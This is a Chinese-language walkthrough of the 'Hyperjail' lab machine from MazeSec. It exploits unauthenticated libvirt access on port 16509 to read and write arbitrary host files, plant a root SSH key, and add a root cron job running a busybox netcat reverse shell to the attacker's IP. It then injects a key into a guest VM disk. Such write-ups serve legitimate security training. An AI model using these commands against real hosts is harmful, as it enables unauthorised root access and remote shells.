MazeSec Hyperjail
靶机信息
靶机名称: Hyperjail
靶机作者:qiaojojo
靶机类型:Linux
来源:MazeSec/QQ公开群 321948805
官网:https://maze-sec.com/
存活主机发现
使用 arp-scan 进行局域网内存活主机扫描,发现目标主机 IP 地址为 192.168.6.185
arp-scan -l
# PCS Systemtechnik GmbH 是一家德国公司,根据 MAC 地址前缀 08:00:27,可以推测该设备可能是使用 VirtualBox 虚拟化软件创建的虚拟机,因为这个 MAC 地址前缀通常与 VirtualBox 相关联。
192.168.6.185 08:00:27:b9:e2:2d PCS Systemtechnik GmbH
端口扫描
对目标主机进行全端口扫描,使用 -sT 进行 TCP 连接扫描。
nmap 192.168.6.185 -p- -sT -n
# result
PORT STATE SERVICE
53/tcp open domain
2222/tcp open EtherNetIP-1
3389/tcp open ms-wbt-server
16509/tcp open unknown
使用 -sV对已知端口进行版本扫描
nmap 192.168.6.185 -p 2222,3389,16509 -sV
# result
PORT STATE SERVICE VERSION
2222/tcp open ssh OpenSSH 10.0 (protocol 2.0)
3389/tcp open ssh OpenSSH 10.0 (protocol 2.0)
16509/tcp open unknown
MAC Address: 08:00:27:B9:E2:2D (Oracle VirtualBox virtual NIC)
2222、3389 端口运行 OpenSSH 10.0,16509 端口服务未知。
libvirt 未授权访问
搜索引擎搜索 16509 端口,热情哈基米给出信息

在计算机网络中,16509端口通常被用作 libvirt 守护进程(libvirtd)的非加密 TCP 通信端口。它主要用于 QEMU/KVM 等虚拟化环境的远程管理。
同时给出了重要信息:默认情况下,16509端口不提供任何身份验证和加密保护
用法:在使用 virsh 命令行工具时,通常通过类似 qemu+tcp://<宿主机IP>/system 的格式发起通信,从而调用此端口。
安装客户端,验证是否存在未授权访问
apt install libvirt-clients
virsh -c qemu+tcp://192.168.6.185/system
远程主机存在未授权访问漏洞,成功连接到 libvirt 守护进程。

libvirt 参数分析
通过 help命令拿到 libvirt 的所有命令,其中 Storage Pool和Storage Volume模块具备操作宿主机文件系统的能力。


找出几条文件读写、目录创建删除的命令:
# 列出目录
pool-list --all
# 创建文件
vol-create-as <pool> <name> <size> --format <fmt>
# 写入文件
vol-upload <vol> <local-file>
# 下载文件
vol-download <vol> <local-file>
# 删除文件
vol-delete <vol> --pool <pool>
# 列出文件
vol-list <pool>
# 创建目录
vol-create-as operation .ssh 0 --allocation 0 --format dir
# 删除目录
vol-delete --vol .ssh --pool operation


查看当前已有的存储池和存储卷,存在 images 和 operation 存储池,列出 operation 存储卷的内容,可以看出是 /home/operation 家目录
# 列出存储池
pool-list --all
# 列出存储卷
vol-list <存储池名称>

尝试把远程 operation 存储池中的readme文件下载到本地,验证是否可行
# 下载文件
vol-download README.txt /tmp/readme --pool operation
在本地成功下载了 readme 文件
┌──(root㉿kali)-[~]
└─# cat /tmp/readme
If I discover again that you are using a virtual machine to transfer the host machine's configuration files, you will be fired. Clean up your services within today!
尝试修改 operation 存储池的路径为 /home/operation/.ssh,当前身份应该是 libvirt 进程的高权限身份或者 root身份,猜测可行。
# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件
pool-edit operation
# 重启存储池
pool-start operation
# 列出存储卷
vol-list operation
# 下载公钥,查看公钥信息
vol-download authorized_keys /tmp/authorized_keys --pool operation

存储池只存放了公钥,本地下载成功,说明存储池配置修改成功
┌──(root㉿kali)-[~]
└─# cat /tmp/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOkhXu+6Hkpx0ckvcOoGNrm5Hb2xYCfsgVH6BIoElMw3 root@localhost
实际验证时,可以把 operation 存储池的路径修改为任意路径,读写任意文件,创建删除任意目录
获取远程 root 权限
1.写入公钥
尝试修改 operation 存储池的路径为 /root,创建 .ssh 目录
# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件,路径改为 /root
pool-edit operation
# 重启存储池
pool-start operation
# 创建 .ssh 目录
vol-create-as operation .ssh 0 --allocation 0 --format dir
# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件,路径改为 /root/.ssh/
pool-edit operation
# 重启存储池
pool-start operation
# 创建公钥
vol-create-as operation authorized_keys 0 --allocation 0 --format raw
# 在本地/tmp目录准备公钥,写入公钥
vol-upload --vol authorized_keys --file /tmp/authorized_keys --pool operation
# 下载到本地验证
vol-download authorized_keys /tmp/authorized_keys.1 --pool operation


2.定时任务
尝试修改 operation 存储池的路径为 /etc/crontabs/,写入root用户定时任务
# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件,路径改为 /etc/crontabs/
pool-edit operation
# 重启存储池
pool-start operation

在本地写入
echo '* * * * * sh -c "busybox nc 192.168.6.111 4444 -e /bin/sh"' > /tmp/cron.1
把本地的 cron.1 文件上传到远程 /etc/crontabs/ 目录
# 上传文件
vol-upload --vol root --file /tmp/cron.1 --pool operation
# 下载到本地验证文件内容
vol-download root /tmp/cron.2 --pool operation

看到写入内容后面跟了一坨错误格式,不重要,alpine 的 busybox crond 按行解析定时任务,错误格式的部分会被忽略,不影响定时任务的执行
alpine 靶机对定时任务的解析方式是按行解析的,错误格式的部分会被忽略,不影响定时任务的执行。注意,如果目标靶机是 debian系统,定时任务出现错误时,整个定时任务文件会被忽略


测试过程发现,定时任务表现不稳定,在通过公钥上去后,定时任务才正常运行()
user flag
user flag不在宿主机,operation 用户的公钥备注为 root@localhost,主机名为localhost,猜测可能是虚拟机的root@localhost,ssh端口对应 2222

virsh 列出虚拟机
virsh # list --all
Id Name State
------------------------
1 kvm799 running
挂载添加公钥
# 1. 关闭虚拟机
virsh destroy kvm799
# 2. 现在挂载
modprobe nbd
qemu-nbd --connect=/dev/nbd0 /var/lib/libvirt/images/kvm799.qcow2
fdisk -l /dev/nbd0
# 挂载 / 分区
mount /dev/nbd0p3 /mnt
# 3. 添加公钥
mkdir -p /mnt/root/.ssh
cat /root/.ssh/authorized_keys >> /mnt/root/.ssh/authorized_keys
chmod 700 /mnt/root/.ssh
chmod 600 /mnt/root/.ssh/authorized_keys
# 4. 卸载并启动
umount /mnt
qemu-nbd --disconnect /dev/nbd0
virsh start kvm799

